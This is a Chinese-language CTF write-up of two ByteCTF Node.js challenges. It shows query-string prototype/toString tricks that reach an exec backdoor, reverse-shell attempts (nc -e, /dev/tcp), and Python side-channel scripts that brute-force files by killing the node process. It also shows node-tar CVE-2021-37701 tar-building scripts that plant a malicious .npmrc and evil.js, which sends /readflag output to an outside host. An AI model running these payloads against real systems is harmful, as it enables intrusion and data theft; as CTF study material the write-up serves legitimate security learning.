記ByteCTF中的Node題

記ByteCTF中的Node題

我總覺得字節是跟Node過不去了,初賽和決賽都整了個Node題目,當然PHPJava都是必不可少的,只是我覺得Node類型的比較少見,所以感覺挺新鮮的。

Nothing

決賽的Node題型,題目如下:

Can you get flag in a fully enclosed nodejs environment?

http://39.106.69.116:30001
http://39.106.34.228:30001

直接訪問http://39.106.34.228:30001/就會得到一句話Here is a backdoor,can you shell it and get the flag?,訪問http://39.106.34.228:30001/source可以得到相關的源碼。

const express = require('express')
const fs = require('fs')
const exec = require('child_process').exec;
const src = fs.readFileSync("app.js")
const app = express()

app.get('/', (req, res) => {
    if (!('ByteCTF' in req.query)) {
        res.end("Here is a backdoor,can you shell it and get the flag?")
        return
    }

    if (req.query.ByteCTF.length > 3000) {
        const byteCTF = JSON.stringify(req.query.ByteCTF)
        if (byteCTF.length > 1024) {
            res.end("too long.")
            return
        }

        try {
            const q = "{" + req.query.ByteCTF + "}"
            res.end("Got it!")
        } catch {
            if (req.query.backdoor) {
                exec(req.query.backdoor)
                res.send("exec complete,but nothing here")
            } else {
                res.end("Nothing here!")
            }
        }
    } else {
        res.end("too short.")
        return
    }
})

app.get('/source', (req, res) => {
    res.end(src)
});

app.listen(3000, () => {
  console.log(`listening at port 3000`)
}) 

可以看到有個exec可以執行命令,然後就是經典的繞過環節了,首先看第一個需要他的長度大於3000並且JSON.stringify後要小於1024,這可讓我犯了難,然後表哥們說這玩意可以直接傳對象,帶着length屬性值大於3000就行,好傢伙之前我還不知道express可以直接傳遞對象上去,那麼就先在本地跑跑看看,首先將代碼保存成app.js,然後本地目錄運行命令即可。

$ npm install express
$ node app.js

然後可以打印一下req.query.ByteCTF嘗試一下,然後我們訪問http://localhost:3000/?ByteCTF[a]=1&ByteCTF[b]=2,就可以得到一個對象的輸出。

// http://localhost:3000/?ByteCTF[a]=1&ByteCTF[b]=2
// too short.
{ a: '1', b: '2' }

既然他能夠被轉換爲對象,那麼就直接寫一個帶length屬性的對象進去,讓他檢查length的時候大於3000即可。

// http://localhost:3000/?ByteCTF[__proto__][length]=100000&ByteCTF[a]=1
// Got it!
{ a: '1' }

可以看到輸出的是Got it!,也就是能夠成功執行到res.end("Got it!")這一行了,現在只需要讓這個對象在拼接字符串的時候拋出異常就可以了,在js中對象轉成字符串也是調用的toString方法,既然傳遞的是對象就完全可以將這個方法給他覆蓋掉,直接傳遞一個值即可,因爲傳遞的不是函數,而拼接的時候會嘗試調用這個toString函數所以會拋出異常。

// http://localhost:3000/?ByteCTF[__proto__][length]=100000&ByteCTF[a]=1&ByteCTF[toString]=1
// 拋出的異常是 TypeError: Cannot convert object to primitive value
// Nothing here!

可以看到輸出是Nothing here!,之後我們只需要傳遞一個backdoorparam參數去執行命令就可以了。

// http://localhost:3000/?ByteCTF[__proto__][length]=100000&ByteCTF[a]=1&ByteCTF[toString]=1&backdoor=echo%201
// exec complete,but nothing here

事情到這裏看起來似乎是挺順利,當然只是看起來,起初我還沒能理解題目中fully enclosed是個嘛意思,然後嘗試了一下nc -e /bin/bash {host} {port}去反彈shell,半天也沒反應,想來可能發行版沒有-e參數,於是就嘗試bash -i >& /dev/tcp/{host}/{port} 0>&1,也沒彈出來,然後看了看我機器的nc -lvvp {port}似乎也沒問題,然後就去嘗試了一下dnslog,然後嘗試了curlping都收不到記錄,然後我就理解了這個fully enclosed完全封閉是什麼意思了,好傢伙靶機不出網,這跟我玩蛇,現在是可以RCE但是拿不到東西,真難受。然後我想的是既然他得用node服務,能不能把這個node進程殺死然後用這個端口去通信,或者檢測一下還有沒有可以用的端口。然後隊友表哥們玩了一個新花樣,好傢伙給我看傻眼了。

先說點別的,之前看到過一個代碼,具體的細節我不太記得清了,大概是這樣的,找到原文鏈接了,在參考欄裏,在這裏基本就搬運一下了。

boolean safeEqual(String a, String b) {
   if (a == null || b == null) {
       return a == b;
   }
   if (a.length() != b.length()) {
       return false;
   }
   int equal = 0;
   for (int i = 0; i < a.length(); i++) {
       equal |= a.charAt(i) ^ b.charAt(i);
   }
   return equal == 0;
}

這個函數的功能是比較兩個字符串是否相等,首先長度不等結果肯定不等,立即返回這個很好理解。再看看後面的,稍微動下腦筋,轉彎下也能明白這其中的門道:通過異或操作1^1=01^0=10^0=0,來比較每一位,如果每一位都相等的話,兩個字符串肯定相等,最後存儲累計異或值的變量equal必定爲0,否則爲1。但是
從效率角度上講,難道不是應該只要中途發現某一位的結果不同了(即爲1)就可以立即返回兩個字符串不相等了嗎,類似與下邊這樣。

for (int i = 0; i < a.length(); i++) {
    if (a.charAt(i) ^ b.charAt(i) != 0) // or a.charAt(i) != b.charAt(i)
        return false;
}

以前知道通過延遲計算等手段來提高效率的手段,但這種已經算出結果卻延遲返回的,還是頭一回,結合方法名稱safeEquals可能知道些眉目,與安全有關,其實JDK中也有類似的方法,例如java.security.MessageDigest,看註釋知道了目的是爲了用常量時間複雜度進行比較。

public static boolean isEqual(byte[] digesta, byte[] digestb) {
   if (digesta == digestb) return true;
   if (digesta == null || digestb == null) {
       return false;
   }
   if (digesta.length != digestb.length) {
       return false;
   }

   int result = 0;
   // time-constant comparison
   for (int i = 0; i < digesta.length; i++) {
       result |= digesta[i] ^ digestb[i];
   }
   return result == 0;
}

實際上,這麼做是爲了防止計時攻擊,計時攻擊是邊信道攻擊(或稱側信道攻擊,Side Channel Attack,簡稱SCA) 的一種,邊信道攻擊是一種針對軟件或硬件設計缺陷,走歪門邪道的一種攻擊方式。

然後表哥們就玩了一個花裏胡哨的側信道方案哈哈哈,首先既然無法出網,就需要知道一個服務器的狀態,而表哥們選用的服務器狀態,就是這個node進程是否還活着,整體思路就是,首先在根目錄去讀文件,flag大概率是在文件中的,通過執行ls /獲得一個輸出的字符串,然後我我們傳遞進去一段代碼,如果這個字符與我們傳進去的字符相同,就殺死這個node進程,然後我們就訪問不到服務了,然後就可以斷定這個字符是正確的,而傳入的字符就只能一個個遍歷了。首先我們需要遍歷出來存放flag的文件,直接上代碼,這實際上也算是一種爆破方案,在嘗試的過程中也會出現一些狀況,因爲靶機的node重啓太快了剛殺死就重啓了,所以需要不少人工因素查看,有時候會頓一下多看幾次都在那裏停頓大概率就是那個字符了了,多看幾遍可以排除下網絡波動因素。

# blast_file_name.py 爆破文件名

import requests
from urllib import parse
import base64
from time import sleep
import string

# url = "http://39.106.69.116:30001/"
url = "http://39.106.34.228:30001/"

template = '''
    const exec = require("child_process").exec;
    const fs = require("fs");
    const cmd = "ls /";

    exec(cmd, function(error, stdout, stderr) {{ 
        if(stdout[{0}]==="{1}" && stdout.substr(0,{0})==="{2}"){{
            exec("pkill node");
        }}
    }});
'''


def remote_exec(command):
    params = "echo {} | base64 -d > /tmp/ddd.js;node /tmp/ddd.js".format(base64.b64encode(t.encode()).replace(b'\n',b'').decode())
    # print(params)
    requests.get(url +"?ByteCTF[__proto__][length]=100000&ByteCTF[toString]=&ByteCTF[][a]&backdoor="+parse.quote(params))

if __name__ == "__main__":
    # 例如搜索出了出了第四位字符 
    # 那麼第三位大概率是正確的 
    # 需不少人工判斷
    result = ""
    result = "T"
    result = "Th1s_1s"
    for i in range(len(result), 10000000):
        find = False
        for char in string.ascii_letters + "_- " + string.digits:
            print(i, len(result), char, result + char)
            t = template.format(len(result), char, result)
            # print(t)

            try:
                remote_exec(t)
            except:
                continue

            try:
                requests.get(url, timeout=5)
                requests.get(url, timeout=5)
                requests.get(url, timeout=5)
            except:
                find = True
                result += char
                print(result)
                sleep(5)
                break

        if not find:
            result += ""

而恰好第一個文件名就是flag的存放位置,感覺路子應該差不多,另外這個文件名稍微爆出來幾位之後就可以使用cat xxx*去表示了,在這裏爆破了Th1s_1s,那麼之後爆破flag就可以使用cat Th1s_1s*打開文件,然後繼續遍歷爆破了,最後得到flagbytectf{50579195da002fa989432cbc1a83e38f5d3765122d9a7d4d767f99a61fa58f22},真的是夠長,爆破也需要很長時間費很大勁。

# blasting_flag.py 爆破`flag`

import requests
from urllib import parse
import base64
from time import sleep
import string

# url = "http://39.106.69.116:30001/"
url = "http://39.106.34.228:30001/"

template = '''
    const exec = require("child_process").exec;
    const fs = require("fs");
    const cmd = "cat /Th1s_1s*";

    exec(cmd, function(error, stdout, stderr) {{ 
        if(stdout[{0}]==="{1}" && stdout.substr(0,{0})==="{2}"){{
            exec("pkill node");
        }}
    }});
'''


def remote_exec(command):
    params = "echo {} | base64 -d > /tmp/hhh.js;node /tmp/hhh.js".format(base64.b64encode(t.encode()).replace(b'\n',b'').decode())
    # print(params)
    requests.get(url +"?ByteCTF[__proto__][length]=100000&ByteCTF[toString]=&ByteCTF[][a]&backdoor="+parse.quote(params))

if __name__ == "__main__":
    # 例如搜索出了出了第四位字符 那麼第三位大概率是正確的 
    # 需要不少人工因素 有時候會頓一下多看幾次都在那裏停頓大概率就是了 因爲node重啓太快了 多看幾遍可以排除下網絡波動因素
    result = ""
    result = "by"
    result = "bytectf{50579195da002fa989432cbc1a83e38f5d3765122d9a7d4d767f99a61fa58f22"
    for i in range(len(result), 10000000):
        find = False
        # for char in string.ascii_letters:
        for char in string.ascii_letters + "{_- }" + string.digits:
            print(i, len(result), char, result + char)
            t = template.format(len(result), char, result)
            # print(t)

            try:
                remote_exec(t)
            except:
                continue

            try:
                requests.get(url, timeout=1)
                requests.get(url, timeout=1)
                requests.get(url, timeout=1)
            except:
                find = True
                result += char
                print(result)
                sleep(5)
                break

        if not find:
            result += ""

# bytectf{50579195da002fa989432cbc1a83e38f5d3765122d9a7d4d767f99a61fa58f22}

easy_extract

這是初賽的Node題型,當時沒搞出來,這是決賽之後看到了上邊的Node題目所以也記錄了一下。當時搞出了文件寫入,然後沒有多少地方有寫權限,沒想到利用寫.npmrc文件並重啓搞他。下面的內容來自於官方的Writeup,僅作記錄,詳情鏈接在參考中。

本題利用的是8月份曝出的node-tar包符號鏈接檢查繞過漏洞,這個漏洞本身在網上是可以找到POC的,能夠做到任意文件寫入,同時本題展示文件列表的功能結合符號鏈接可以被用來列目錄,輔助判斷題目環境,不過爲了難度考慮,還是在/robots.txt中將Dockerfile放出,能夠得到一些關於題目是如何啓動的信息,同時,本題也考察了在沒有web應用目錄寫入權限的情況下,通過任意文件寫來進一步造成RCE的一些思路。
CVE-2021-37701 node-tar任意文件寫入/覆蓋漏洞(翻譯自原報告)node-tar有安全措施,旨在保證不會提取任何位置將被符號鏈接修改的文件,這部分是通過確保提取的目錄不是符號鏈接來實現的,此外,爲了防止不必要的stat調用來確定給定路徑是否爲目錄,在創建目錄時會緩存路徑,但是6.1.7以下版本的node-tar當提取包含一個目錄及與目錄同名的符號鏈接的tar文件時,此檢查邏輯是不夠充分的,其中存檔條目中的符號鏈接和目錄名稱在posix系統上使用反斜槓作爲路徑分隔符,緩存檢查邏輯同時使用了和/字符作爲路徑分隔符,然而,在posix系統上是一個有效的文件名字符,通過首先創建一個目錄,然後用符號鏈接替換該目錄,可以繞過對目錄的符號鏈接檢查,基本上允許不受信任的tar文件符號鏈接到任意位置,然後將任意文件提取到該位置,從而允許任意文件創建和覆蓋,此外,不區分大小寫的文件系統可能會出現類似的混淆,如果惡意tar包含一個位於FOO的目錄,後跟一個名爲foo的符號鏈接,那麼在不區分大小寫的文件系統上,符號鏈接的創建將從文件系統中刪除該目錄,但不從內部目錄中刪除緩存,因爲它不會被視爲緩存命中,FOO目錄中的後續文件條目將被放置在符號鏈接的目標中,認爲該目錄已經創建,關於POC的構建,也有相關文章可以參考: 5 RCEs in npm for $15, 000。於是我們簡單嘗試一下,但在上傳時,我們會發現文件大小存在限制,而一般來講tar打包出來的文件都會大於1KB,所以可以打包一個.tar.gz,並將擴展名改回.tar,實際上node-tar並不根據擴展名判斷文件是否壓縮,所以.tar後綴的.tar.gz文件是可以被正常解壓的,可以發現確實創建了一個指向/app/data以外的符號鏈接,能夠列出全盤的路徑信息:

#!/bin/sh

rm n\\x

ln -s / n\\x # Create a link to the destination dir
tar cf poc.tar n\\x # Pack the link into the tar

echo "test" > n\\x/app/data/test
tar rf poc.tar n\\x n\\x/app/data/test

gzip -9 < poc.tar > poc.tar.gz
rm poc.tar
mv poc.tar.gz poc.tar

做完這一步,就可以任意列目錄,並且任意寫入文件了,根目錄下有/readflag,說明需要命令執行。

Dockerfile可以看出,我們的用戶是node,基本上沒有多少地方有寫權限,並且app目錄除了/app/data都是無權限寫的,觀察啓動參數,nodemon --exec npm start有些奇怪,查資料發現nodemon是一個開發使用的工具,會在/app目錄下發生文件創建或更改時自動重啓node,於是想到,我們還可以在用戶文件夾下寫入配置文件,讓配置文件在node重啓時被加載,這時我們注意到服務是用npm start起的,所以可以通過寫入~/.npmrcNODE_OPTIONS參數造成RCE

echo "node-options='--require /home/node/evil.js'" > /home/node/.npmrc

之後,寫入一個.js文件到/app/data下面,即可觸發nodemon重啓node,進而導致evil.js被執行,nodemon這層主要是方便比賽,實際上如果是在真實環境裏,大概率不會有人使用nodemon啓動生產環境的服務,不過我們仍然可以先將文件寫入,之後守株待兔直到服務重啓,命令被執行,在配置了重啓策略的Docker容器中,也可以通過把服務打掛的方式強制重啓。

#!/bin/sh

# Generate Tar
mkdir /home/node
ln -s /home/node/ n\\x
tar cf exp.tar n\\x
echo "node-options='--require /home/node/evil.js'" > n\\x/.npmrc
echo "const execSync = require('child_process').execSync;const http = require('http');const output = execSync('/readflag', { encoding: 'utf-8' });http.get('http://ent9hso2vt0z.x.pipedream.net/?'+output);" > n\\x/evil.js
echo "dummy" > test.js
tar rf exp.tar n\\x n\\x/.npmrc n\\x/evil.js test.js

# Compress
gzip -9 < exp.tar > exp.tar.gz
mv exp.tar.gz exp.tar

# Clean Up
rm n\\x/.npmrc n\\x/evil.js test.js n\\x
rm -r /home/node

參考

https://www.zhihu.com/question/275611095/answer/1962679419
https://bytectf.feishu.cn/docs/doccnq7Z5hqRBMvrmpRQMAGEK4e#lLBgbe
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章